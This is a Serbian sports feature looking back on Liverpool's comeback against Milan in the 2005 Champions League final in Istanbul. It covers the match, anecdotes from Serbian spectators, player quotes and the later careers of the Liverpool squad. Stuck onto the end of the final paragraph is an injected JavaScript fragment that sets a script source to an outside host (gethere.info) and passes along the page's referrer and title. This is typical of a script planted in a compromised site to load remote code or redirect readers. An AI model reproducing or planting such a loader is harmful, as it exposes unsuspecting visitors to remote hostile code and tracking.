Sport
25.05.2016. 14:34
ekspres
SEĆATE LI SE ČUDA U ISTANBULU? Novi pogled na noć kad je šejtan Džerard doneo pehar Emini
Rezultat je 3:0 za Milan. Boba Živojinović na tribinama u Istanbulu ne može da sedi. Ustaje, povlači pantalone, gleda u pravcu "Kopa“, odakle horski peva 40 hiljada glasova, i kaže: "Nije ovde ništa gotovo. Kad vam Boba kaže"
U Stambolu se odigrala i istorija fudbala. I jedanaest godina posle, na pominjanje finala Lige šampiona Liverpul – Milan u Istanbulu, krene voda na usta, zapravo šerbet od baklava i kadaifa sa Taksima i fudbala i meraka sa stadiona “Kemal Ataturk”.
Kakav je to bio fudbal? Lirski ep! Najbolje finale do tada, a od tada novi i neprevaziđeni standard. A konkurencija je velika.
Nadmašili Savićevića i Vidića
Setimo se "Nou kampa" iz maja 1999. kad je Bajern do 90. minuta vodio (1:0), a onda su rezervisti Ole Gunar Solskjer i Tedi Šeringem napravili neverovatan preokret za 2:1. Prepričava se i spektaklurana "četvorka" Milana drim timu Barselone u Atini i genijalan lob Dejana Savićevića (1994). U pregradak lepih sećanja smešten je engleski obračun u Moskvi. Igrali su Mančester junajted i Čelsi, a Nemanja Vidić je posle penala nakrivio šapku (2008).
Ipak, sva ta majstorstva ostaju u senci čuda u Istanbulu. To finale može da se traži po tagu “najbolje od fudbala”, može i po tagu „fudbalski gurmanluci“. I podigne se sač: jagnjetina sa plavim patlidžanima, otvori se zavesa, a tamo: tri čina drame u jednom i tri čina drame u drugom poluvremenu, sa penalima na bis. Bio je to Istanbul, s kraja maja 2005.
Momci, vi ste junaci, postanite heroji!
Dan na Bosforu nije nagoveštavao otvaranje korica “Hiljadu i jedne noći”. Vreme se menjalo iz minuta u minut, kao da nagoveštava kakva nas utakmica čeka: oblaci ko more, a sunce u moreuzu. Namestilo se da odsednem u hotelu "Kraun plaza", u istanbulskoj četvrti Sahil Jolu. Kakvo društvo, ekspedicija Liverpula u pohodu na „fudbalski Mon Blan“. Četiri puta su bili na krovu Evrope, hoće i peti. Poslednji bazni logor baš simboličan - lokacija gde su krunisani vizantijski carevi, Aja Sofija, pa čuvene Plava džamija i Topkapi palata.
Malo posle podneva igrači sa menadžerom Benitezom izlaze u šetnju ka obali. Pratim ih pogledom i vidim omiljenog profesora geografije koji je razred doveo na ekskurziju u Tursku. Atmosfera opuštena. Džerard i Hipija zagrljeni, Sise i Traore bacaju kosku, Kjuel stepuje... Prolećna fajtalica je pala na crvene, roze i olenadere boje kajsije i ostavila oblačiće ozona po terasastim baštama nad zalivom Zlatni rog.
Na pitanje, onako u prolazu: Šta će reći igračima kad za krenu na finale, Rafa kao na testu iz diktata:
- Svi mi možemo biti ponosni na ono što smo uradili. Mi smo junaci, ali postanimo heroji, da nas generacije pamte. To ću im reći.
Milan veliki favorit, Berluskonijevi prsti
Onda je u hotelu sve utihnulo. Igrači su se povukli u sobe. Na televizoru gledamo kolone fanova i tifoza, javljaju da je stiglo 80.000 navijača. Mnogi od njih nemaju ulaznice, ostaće po trgovima i u tavernama. Incidenata nema. Ubodi sa Hejsela još su sveži. Prvi suton napunjen je pozitivnim elektricitetom velikog očekivanja, prvi pramenovi tame se hvataju oko minareta, a kolone ljudi i reke misli slivaju se ka „Ataturku“.
Milan je favorit na kladionicama. Dida – Kafu, Stam, Nesta, Maldini – Pirlo, Gatuzo , Sedorf , Kaka – Krespo, Ševčenko. Kancona po premijerskim notama Silvija Berluskonija i kvota 1,5 na rozonere.
Latinska prevara i Rakin radio prenos
Početak urnebesan. Latinska prevara, Maldini na centaršut Pirla prvi minut i 1:0! "Redsi" ne mogu da stanu na noge, prave veliku grešku, ne drže na oku Kaku i Pirla. A kad je tako, onda trenutak nosi dva pitanja: ko će i kada njihove bilijarske lopte ubaciti u mrežu. U finišu prvog dela Krespo postiže još dva gola, šokantnih 3:0!
Odlazak igrača u svlačionicu nemi mimohod pored pehara. Tajac na stadionu...Ipak, ne zadugo. Sa crvenog dela zapadne tribine čuje se, u početku tiho “You’ll never walk alone”, pa sve glasnije, jače i odlučnije. Na kraju oratorijum!
Poznati srpski sudija Rako Đurović se javlja na telefon. Beograd zove.
- Ne mogu da verujem. Pa, kako?
Žamor se utiša, Rako nastavi:
- Ko? Rađenović...
Na to se na novinarskim tribinama napunjenim Srbima začu zabrinuti ženski glas:
- Mora da je saobraćajka.
- Jeste udes, ali nije saobraćaj. Rađenović je fudbaler Železnika. Zvezda izgubila u finalu kupa - objašnjava Mileta Adžić, član uprave crveno-belih.
Rako savetuje:
- Govori glasnije, Englezi pevaju...Ne, ne pevaju Italijani. Ma, ne Milanezi, oni još ne veruju šta se dogodilo i da vode 3:0. Ovi iz Liverpula, slušaj...
I usmeri mobilni, da upije molitvu: “You’ll never walk alone”. Rakin sagovornik bio je jedan od retkih televizijskih gledalaca koji na uvo čuo ono što je preokrenulo meč. I to u poluvremenu.
Ko ne veruje u čuda, taj nije Liverpul!
Kad vam Boba kaže
Boba Živojinović ne može da sedi. Ustaje, povlači pantalone, popravlja kaiš i pogledavši u pravcu "Kopa“, bolje reći hora sa 40 hiljada glasova, kaže:
-Nije ovde ništa gotovo. Kad vam Boba kaže.
Igrači se vraćaju na teren. Šta se dešavalo u svlačionici Liiverpula. Benitez je po povratku u hotel pričao:
- Mi smo Liverpul, igramo za Liverpul. Podignite glavu, pogledaju naše navijače... Dajte sve od sebe. Možemo dobiti ovaj meč - rekao je Benitez, koji je u igru umesto Finana uveo Hamana, sa zadatkom da "odseče Kaku".
Karager je u hotelu nekoliko sati posle meča užurbanim pokretima skidao jezu čas sa leve čas sa desne ruke.
- Kad smo se vraćali na teren, očekivali smo zvižduke od naših navijača. Znali smo koliko nas vole, ipak ovo što smo im priredili bio je šok. I mi smo bili u čudu. Prolazimo kroz tunel, Maldini ponosno vodi svoje saigrače kao da izlaze da prime pehar. Ali po izlasku na teren čuje se pesma naših navijača.
Šest minuta crvenog vetra
Nedugo zatim doći će šest minuta koji koji su očarali fudbalski svet i ispisali pozivnice na milione adresa da dođu na fudbal.
- m: Stiven Džerard na centaršut Risea – pametna mamina glava- 1:3.
- m: Vladimir Šmicer, dobio priliku nakon povrede Kjuela sredinom poluvremena, odšrafljuje na 27 metara, klizeća, fino rezana bomba po zemlji, kao u crtaću kad štapin juri za žrtvom, za 2:3.
- m: Nezgrapni Gatuzo ruši Džerarda u šesnaestercu. Penal! Ćabi Alonso šutira, Dida čita i brani, Ćabi tad postaje Fernando, stiže prvi...3:3!
Da li je moguće? Golman Dida je na golu Milana primao gol u proseku na svaka dva sata, u Istanbulu je savladan 3 puta na dva minuta!
U tih šest minuta videli smo kako Stivi Dži sa licem dobrog dečka iz komšiluka postaje šejtan. Od ekipe Karla Ančelotija, koja je u poluvremenu nameštala frizure za šampionski poster sa peharom Lige šampiona, napravio je lutkarsku družinu pod imenom „Pajaci“.
Polufinalista Vimbldona iz 85. ustaje:
- Kad vam Boba kaže.
Dudek pročitao Ševčenka
I nije to bio kraj čudesne noći na stadionu "Kemal Ataturk". Penali da đakonija bude potpuna. U oči upada scena kad Karager prilazi golmanu Dudeku tapše ga po ramenu.
- Uradi nešto kao Grobelar... Šta ću, poslušao sam ga. Malo sam zabavaljao igrače Milana.
Predosetio sam da Ševa (Ševčenko, prim.a) neće gađati ugao.
Seržinjo, Pirlo i Ševčenko su naseli, nisu uspeli da zadrže ravnotežu i Milan je pao. Liverpul se digao iz pepela na krov Evrope.
Dudek, Finan (Haman), Traore, Hipija, Karager, Rise, Džerard, Alonso, Garsija, Kjuel (Šmicer), Baroš (Sise) pokrenuli su talas sa Bosfora, plima sreće razlila se po dokovima Liverpula, tamo gde su „Bitlsi“ pre pola veka u more porinuli „All you need is love“. Antologija na poznatoj adresi - muzika i fudbal.
“You’ll never walk alone”
Svi mi koji smo 25. maja 2005. bili svedoci čuda u Istanbulu, odigranog i upijenog, u zdanju "Kemal-paša Ataturk" bogatiji smo za pouka da nikada ne smete odustajati od svog sna. Bogatiji smo i za jednog pratioca:
“You’ll never walk alone”.
I ima neke simbolike u tome što je na Bizantu nastao meč koji će obeležiti istoriju fudbala. Milan i Liverpul kao da su želeli da izmere koliko uzbuđenja, veštine, snage, nade i navijačke ljubavi može da stane u jedan meč. Bila je to noć kad se jedan šejtan sa peharom Lige šampiona prošetao istanbulskim sokacima, niz koje su se razlegali zvuci zurli i šargija. Popeo se do vidikovca na brdu Čamlidža i u bašti prepunoj jasmina video kako s ibrikom u ruci „stajaše Emina“...
Carigrad je zaslužio da se u njemu sretnu Aleksa Šantić i Stiven Džerard. Selam, Evropo i fudbalski svete!
Džejmi Karager - Jedna karijera, jedna klub. Za 17 godina upisao 737 utakmice za “redse”. Komentator Skaj Sporta i kolumnista Dejli Mejla. Sami Hipija - Oprobao se u trenerskom poslu, ali bez uspeha. Đimi Traore - Igrao za Čarlton Atletik, Birmingem, Monako, Marsej i Sijetl, povukao se pre dve godine. Ćabi Alonso - Španski as se 2009. godine preselio se u Real Madrid za 30 miliona funti gde je proveo dodatnih pet godina, pre nego što je otišao u Bajern. Luis Garsija - Promenio brojne klubove. Igrao za Atletiko Kalkutu u Indiji i osvojio titulu. Stiven Džerard - U Americi brani boje LA Galaksija.
Jon Arne Rise - Otišao 2008. u Romu, potom igrao za Fulam, pa za APOEL-a sa Kipra. Hari Kjuel – Tri godine igrao za Galatasaraj, branio boje ekipa Melburn Viktori i Melburn Hart. Milan Baroš - Nakon finala otišao u Aston Vilu za 6.5 miliona funti. potom u Lion, Portsmut, Galatasaraj, Antalijaspor i Banjik Ostrava. Didi Haman - Kratko je vodio Stokport, a sada je televizijski konsultant i stručnjak. Đibril Sise - Otišao na pozajmicu u Marsej, igrao za Panatinaikos, Lacio, KPR, Kuban i Bastiju. Vladimir Šmicer - Karijeru je završio u Slaviji iz Praga 2010. godine. Postao je sportski menadžer reprezentacije, potom prešao u politiku.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';
Komentari
